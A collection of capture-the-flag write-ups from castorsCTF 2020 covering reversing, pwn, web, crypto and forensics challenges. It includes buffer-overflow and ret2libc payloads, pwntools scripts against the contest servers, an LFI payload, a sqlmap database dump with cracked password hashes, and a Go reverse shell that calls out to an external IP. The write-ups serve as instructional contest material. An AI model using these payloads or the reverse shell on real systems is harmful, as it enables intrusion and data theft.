Thread 1 "ransom" received signal SIGSEGV, Segmentation fault.0x000000000064012c in main.send (seed=0, ~r1=...) at /home/krekel/Documents/coding/ctf2020-challenges/challenges/re/ransom/ransom.go:5050 /home/krekel/Documents/coding/ctf2020-challenges/challenges/re/ransom/ransom.go: No such file or directory.(gdb) bt#0 0x000000000064012c in main.send (seed=0, ~r1=...) at /home/krekel/Documents/coding/ctf2020-challenges/challenges/re/ransom/ransom.go:50#1 0x0000000000640764 in main.main () at /home/krekel/Documents/coding/ctf2020-challenges/challenges/re/ransom/ransom.go:104```
The GET and POST requests both timed out and then the program segfaulted. Looks like we'll need a local web server on `192.168.0.2:8081` to move past that segault.
## Solution
I originally started by trying to write a decryption program in C (and later Go) but it was taking too much trial and error. Since this is an XOR cipher, all we really have to do to reverse it is setup a web server to return the values we found in the tcpdump. Running `flag.png` through `main.encrypt` again with the same values will decrypt it.
Setup a new loopback interface with the address `192.168.0.2`:
```kali@kali:~/Downloads/castors/ransom$ sudo ifconfig lo:0 192.168.0.2 netmask 255.0.0.0 up[sudo] password for kali: kali@kali:~/Downloads/castors/ransom$ ifconfig lo:0lo:0: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 192.168.0.2 netmask 255.0.0.0 loop txqueuelen 1000 (Local Loopback)
kali@kali:~/Downloads/castors/ransom$ ping 192.168.0.2PING 192.168.0.2 (192.168.0.2) 56(84) bytes of data.64 bytes from 192.168.0.2: icmp_seq=1 ttl=64 time=0.026 ms64 bytes from 192.168.0.2: icmp_seq=2 ttl=64 time=0.096 ms^C--- 192.168.0.2 ping statistics ---2 packets transmitted, 2 received, 0% packet loss, time 1029msrtt min/avg/max/mdev = 0.026/0.061/0.096/0.035 ms```
Create a quick and dirty web server to return the values we found in the tcpdump:
```python#!/usr/bin/env python3
from flask import Flaskfrom flask import requestapp = Flask(__name__)
@app.route("/seed", methods=['GET', 'POST'])def seed(): if request.method == 'GET': return "1337\n" else: return "\"ok\"\n"
if __name__ == "__main__": app.run(host='192.168.0.2', port=8081)```
Start the server:
```kali@kali:~/Downloads/castors/ransom$ ./fake_server.py * Serving Flask app "fake_server" (lazy loading) * Environment: production WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Debug mode: off * Running on http://192.168.0.2:8081/ (Press CTRL+C to quit)```
Test the responses with curl:
```kali@kali:~/Downloads/castors/ransom$ curl -X GET http://192.168.0.2:8081/seed1337kali@kali:~/Downloads/castors/ransom$ curl -X POST http://192.168.0.2:8081/seed"ok"```
I had to download a fresh copy of `flag.png` at this point, because I tainted it while experimenting. With the fresh copy and the web server running, all you have to do is run `ransom` again to decrypt `flag.png`:
```kali@kali:~/Downloads/castors/ransom$ file flag.png flag.png: datakali@kali:~/Downloads/castors/ransom$ ./ransom kali@kali:~/Downloads/castors/ransom$ file flag.png flag.png: PNG image data, 289 x 124, 8-bit/color RGB, non-interlaced```

The flag is:
```castorsCTF{this_is_not_my_final_form}```
|
# Give away 1 writeup
## Content
This writeup is about PWN challenge
* libc-2.27.so: shared library (given) * give_away_1: challenge binary (given) * exploit.py: Full exploit
## Binary analysis
1. Quick check of the binary on ida gives
* main

* vuln

2. Checksec shows that PIE and NX are enabled so we can go for ret2libc attack.

## Exploit
This kinda of classic exploits so
1. Step I:
* Extract system and /bin/sh offset from libc binary
```shellreadelf -s libc-2.27.so | grep systemstrings -a -t x libc-2.27.so | grep /bin/sh```
* Compute libc base address
```pythonout = p.recvline().strip().split(' ')sysaddr = int(out[2],16)libc_base = sysaddr - SYSTEM```
2. Step II:
The argument for system ("/bin/sh") should be passed in the stack because `__cdecl` is the calling convention of libc functions.

```pythonpayload = "A" * 36 + p32(sysaddr) + "B"*4 + p32( BIN_SH_final) p.sendline(payload)```
Basically we add a dummy 4 bytes("B" * 4) to the payload to avoid stack aligment issues as the stack should be 16-bytes aligned.
## Notes* The Full exploit is in exploit.py* Flag: shkCTF{I_h0PE_U_Fl4g3d_tHat_1n_L3ss_Th4n_4_m1nuT3s} |
# babybof1
## Description
Author: Lunga
```nc chals20.cybercastors.com 14425```
## Analysis
Open the binary with Ghidra and look at `main()`
```cvoid main(void)
{ char local_108 [256]; puts("Welcome to the cybercastors Babybof"); printf("Say your name: "); gets(local_108); return;}```
It's a buffer overflow, we just have to write more than 256 chars. We need to call this handy `get_flag()` function:
```cvoid get_flag(void)
{ int iVar1; FILE *__stream; __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { /* WARNING: Subroutine does not return */ exit(1); } while( true ) { iVar1 = fgetc(__stream); if ((char)iVar1 == -1) break; putchar((int)(char)iVar1); } fclose(__stream); /* WARNING: Subroutine does not return */ exit(0);}```
Here is the disassembly for both functions:
```(gdb) disas mainDump of assembler code for function main: 0x000000000040074d <+0>: push %rbp 0x000000000040074e <+1>: mov %rsp,%rbp 0x0000000000400751 <+4>: sub $0x100,%rsp 0x0000000000400758 <+11>: lea 0xc9(%rip),%rdi # 0x400828 0x000000000040075f <+18>: callq 0x400590 <puts@plt> 0x0000000000400764 <+23>: lea 0xe1(%rip),%rdi # 0x40084c 0x000000000040076b <+30>: mov $0x0,%eax 0x0000000000400770 <+35>: callq 0x4005b0 <printf@plt> 0x0000000000400775 <+40>: lea -0x100(%rbp),%rax 0x000000000040077c <+47>: mov %rax,%rdi 0x000000000040077f <+50>: mov $0x0,%eax 0x0000000000400784 <+55>: callq 0x4005d0 <gets@plt> 0x0000000000400789 <+60>: nop 0x000000000040078a <+61>: leaveq 0x000000000040078b <+62>: retq End of assembler dump.(gdb) disas get_flagDump of assembler code for function get_flag: 0x00000000004006e7 <+0>: push %rbp 0x00000000004006e8 <+1>: mov %rsp,%rbp 0x00000000004006eb <+4>: sub $0x10,%rsp 0x00000000004006ef <+8>: lea 0x122(%rip),%rsi # 0x400818 0x00000000004006f6 <+15>: lea 0x11d(%rip),%rdi # 0x40081a 0x00000000004006fd <+22>: callq 0x4005e0 <fopen@plt> 0x0000000000400702 <+27>: mov %rax,-0x8(%rbp) 0x0000000000400706 <+31>: cmpq $0x0,-0x8(%rbp) 0x000000000040070b <+36>: jne 0x400722 <get_flag+59> 0x000000000040070d <+38>: mov $0x1,%edi 0x0000000000400712 <+43>: callq 0x4005f0 <exit@plt> 0x0000000000400717 <+48>: movsbl -0x9(%rbp),%eax 0x000000000040071b <+52>: mov %eax,%edi 0x000000000040071d <+54>: callq 0x400580 <putchar@plt> 0x0000000000400722 <+59>: mov -0x8(%rbp),%rax 0x0000000000400726 <+63>: mov %rax,%rdi 0x0000000000400729 <+66>: callq 0x4005c0 <fgetc@plt> 0x000000000040072e <+71>: mov %al,-0x9(%rbp) 0x0000000000400731 <+74>: cmpb $0xff,-0x9(%rbp) 0x0000000000400735 <+78>: jne 0x400717 <get_flag+48> 0x0000000000400737 <+80>: mov -0x8(%rbp),%rax 0x000000000040073b <+84>: mov %rax,%rdi 0x000000000040073e <+87>: callq 0x4005a0 <fclose@plt> 0x0000000000400743 <+92>: mov $0x0,%edi 0x0000000000400748 <+97>: callq 0x4005f0 <exit@plt>End of assembler dump.(gdb) break *0x0000000000400789Breakpoint 1 at 0x400789(gdb) break *0x00000000004006e7Breakpoint 2 at 0x4006e7```
Create a rough overflow to see where the end of the input ends up:
```root@kali:~/Downloads# perl -e 'print "A"x268' > payload```
```(gdb) run < payloadThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /root/Downloads/babybof < payloadWelcome to the cybercastors Babybof
Breakpoint 1, 0x0000000000400789 in main ()(gdb) x/40wx $rsp+2000x7fffffffe188: 0x41414141 0x41414141 0x41414141 0x414141410x7fffffffe198: 0x41414141 0x41414141 0x41414141 0x414141410x7fffffffe1a8: 0x41414141 0x41414141 0x41414141 0x414141410x7fffffffe1b8: 0x41414141 0x41414141 0x41414141 0x414141410x7fffffffe1c8: 0x41414141 0x00007f00 0x00000000 0x000000000x7fffffffe1d8: 0xffffe2a8 0x00007fff 0x00040000 0x000000010x7fffffffe1e8: 0x0040074d 0x00000000 0x00000000 0x000000000x7fffffffe1f8: 0x7717f981 0x5ae6ba70 0x00400600 0x000000000x7fffffffe208: 0xffffe2a0 0x00007fff 0x00000000 0x000000000x7fffffffe218: 0x00000000 0x00000000 0xbb97f981 0xa519450f(gdb) contContinuing.
Program received signal SIGSEGV, Segmentation fault.0x00007f0041414141 in ?? ()(gdb) ```
Perfect, that ended up right in the middle of the return address. We need to overwrite the return address with the address of `get_flag()` (0x00000000004006e7). So that will be 264 chars, plus the address of `get_flag()`.
```root@kali:~/Downloads# perl -e 'print "A"x264 . "\xe7\x06\x40\x00\x00\x00\x00\x00"' > payload && ./babybof < payload; echo $?Welcome to the cybercastors BabybofSay your name: 1```
It's returning 1 because there is no `flag.txt` to open. Create one, and the contents is printed out.
```root@kali:~/Downloads# echo hello > flag.txtroot@kali:~/Downloads# perl -e 'print "A"x264 . "\xe7\x06\x40\x00\x00\x00\x00\x00"' > payload && ./babybof < payload; echo $?Welcome to the cybercastors BabybofSay your name: hello0```
## Solution
Now that we have a POC working locally, code up the exploit for the remote server.
```python#!/usr/bin/env python3from pwn import *
binary = ELF('./babybof')get_flag = binary.symbols['get_flag']print("get_flag: %x\n" % get_flag)p = remote('chals20.cybercastors.com', 14425)p.recvuntil('Say your name:')payload = b'A' * 264payload += p64(get_flag)p.sendline(payload)p.stream()```
```root@kali:~/Downloads# ./exploit.py [*] '/root/Downloads/babybof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segmentsget_flag: 4006e7
[+] Opening connection to chals20.cybercastors.com on port 14425: Done AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe7^F@^@^@^@^@^@castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}```
|
# abcbof
## Description
Author: Lunga
```nc chals20.cybercastors.com 14424```
## Analysis
Open the binary with Ghidra and look at `main()`. This one is really simple.
```cundefined8 main(void)
{ int iVar1; char local_118 [256]; char local_18 [16]; printf("Hello everyone, say your name: "); gets(local_118); iVar1 = strcmp("CyberCastors",local_18); if (iVar1 == 0) { get_flag(); } puts("You lose!"); return 0;}```
If `local_18` contains "CyberCastors", then it invokes `get_flag()`. `local_18` is right after our input buffer `local_118`, so all we have to do is overflow the input buffer. Write 256 chars to fill up the input buffer and then "CyberCastors" immediately after that.
## Solution
Try it out locally first.
```root@kali:~/Downloads# cat flag.txt helloroot@kali:~/Downloads# perl -e 'print "A"x256 . "CyberCastors"' | ./abcbofHello everyone, say your name: hello```
Now write up a script to get the real flag from the remote server.
```python#!/usr/bin/env python3from pwn import *p = remote('chals20.cybercastors.com', 14424)payload = b'A' * (256)payload += b'CyberCastors'p.recvuntil('say your name:')p.sendline(payload)p.interactive()```
```root@kali:~/Downloads# ./abcbof-exploit.py [+] Opening connection to chals20.cybercastors.com on port 14424: Done[*] Switching to interactive mode AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACyberCastorscastorsCTF{b0f_4r3_n0t_th4t_h4rd_or_4r3_th3y?}[*] Got EOF while reading in interactive$ ```
The flag is:
```castorsCTF{b0f_4r3_n0t_th4t_h4rd_or_4r3_th3y?}```
|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
